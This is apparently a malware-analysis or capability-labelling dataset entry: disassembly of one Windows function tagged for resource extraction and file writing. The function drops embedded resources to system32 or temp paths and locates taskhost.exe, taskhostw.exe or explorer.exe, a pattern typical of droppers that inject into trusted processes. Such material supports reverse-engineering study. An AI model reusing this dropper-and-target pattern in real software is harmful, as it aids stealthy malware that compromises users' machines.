Function at 0x140007a00
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push rbx
push rdi
sub rsp, 0x168
mov rax, qword [0x140020090]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor eax, eax
mov rbx, rcx
lea rdx, [rsp + 0x20]
lea ecx, [rax + 0xa]
mov qword [rsp + 0x190], rsi
mov byte [rsp + 0x20], 0
mov qword [rsp + 0x21], rax
mov qword [rsp + 0x29], rax
mov qword [rsp + 0x31], rax
mov dword [rsp + 0x39], eax
mov word [rsp + 0x3d], ax
mov byte [rsp + 0x3f], al
call fcn.140007690
test eax, eax
je 0x140007b64
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
call fcn.14000fcd0
mov rax, qword [str.C:windows_system32_]
lea rdx, [rsp + 0x40]
mov qword [rdx], rax
mov rax, qword [0x14001be00]
or rcx, 0xffffffffffffffff
mov qword [rdx + 8], rax
mov eax, dword [0x14001be08]
lea rdi, [rsp + 0x40]
mov dword [rdx + 0x10], eax
movzx eax, byte [0x14001be0c]
mov byte [rdx + 0x14], al
xor eax, eax
lea rdx, [rsp + 0x20]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140007ac0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
mov eax, dword [str..txt]
or rcx, 0xffffffffffffffff
mov dword [rdi - 1], eax
movzx eax, byte [0x14001be14]
mov byte [rdi + 3], al
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea eax, [rcx*4]
lea rsi, [rcx - 1]
movsxd rcx, eax
call fcn.140009e50
mov rdi, rax
test rax, rax
je 0x140007b64
mov r8, rax
mov edx, esi
mov rcx, rbx
call section..text
lea rdx, [0x14001be18]
lea rcx, [rsp + 0x40]
movsxd rsi, eax
call fcn.14000ad24
mov rbx, rax
test rax, rax
je 0x140007b5c
mov r8, rsi
mov r9, rax
mov edx, 1
mov rcx, rdi
call fcn.14000af10
mov rcx, rbx
call fcn.14000b040
mov rcx, rdi
call fcn.14000a9ac
xor eax, eax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x160], r12
mov byte [rsp + 0x20], 0
mov qword [rsp + 0x21], rax
mov qword [rsp + 0x29], rax
mov qword [rsp + 0x31], rax
mov dword [rsp + 0x39], eax
mov word [rsp + 0x3d], ax
mov byte [rsp + 0x3f], al
call fcn.140007880
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
mov eax, dword [str..tmp]
lea rcx, [rsp + 0x41]
mov dword [rdi - 1], eax
movzx eax, byte [0x14001bdcc]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], 0
mov byte [rdi + 3], al
call fcn.14000fcd0
lea rdx, [rsp + 0x40]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.140007970
test eax, eax
je 0x140007cee
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [0x14001be38]
mov edx, 0x67
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
lea rbx, [0x140022c10]
mov rsi, rax
test rax, rax
je 0x140007cdb
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rsi
mov rcx, rdi
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
xor eax, eax
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0x40]
inc rax
mov byte [rax + rbx - 1], dl
test dl, dl
jne 0x140007c60
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x20]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140007c90
lea rdx, [0x14001be3c]
mov rcx, rbx
call fcn.14000ad24
mov rdi, rax
test rax, rax
je 0x140007cd2
mov rdx, rbp
mov r9, rax
mov r8d, 1
mov rcx, r12
call fcn.14000af10
mov rcx, rdi
call fcn.14000b040
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rcx, str.taskhost.exe
call fcn.140003a50
mov edi, eax
jmp 0x140007dd9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [0x14001be38]
mov edx, 0x68
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
lea rbx, [0x140022c10]
mov rsi, rax
test rax, rax
je 0x140007dcb
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rsi
mov rcx, rdi
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor edx, edx
mov r12, rax
nop dword [rax]
movzx ecx, byte [rsp + rdx + 0x40]
inc rdx
mov byte [rdx + rbx - 1], cl
test cl, cl
jne 0x140007d50
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x20]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140007d80
lea rdx, [0x14001be3c]
mov rcx, rbx
call fcn.14000ad24
mov rdi, rax
test rax, rax
je 0x140007dc2
mov rdx, rbp
mov r9, rax
mov r8d, 1
mov rcx, r12
call fcn.14000af10
mov rcx, rdi
call fcn.14000b040
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rcx, str.taskhostw.exe
call fcn.140003a50
mov edi, eax
mov r12, qword [rsp + 0x160]
mov rsi, qword [rsp + 0x190]
mov rbp, qword [rsp + 0x188]
test edi, edi
jle 0x140007e29
mov rcx, rbx
call fcn.140007600
mov rbx, rax
test rax, rax
je 0x140007e4b
mov edx, edi
mov rcx, rax
call fcn.1400061c0
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
jmp 0x140007e4d
lea rcx, str.explorer.exe
call fcn.140003a50
mov edi, eax
test eax, eax
jle 0x140007e4b
mov rcx, rbx
call fcn.140007600
mov rbx, rax
test rax, rax
jne 0x140007e05
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140009e70
add rsp, 0x168
pop rdi
pop rbx
ret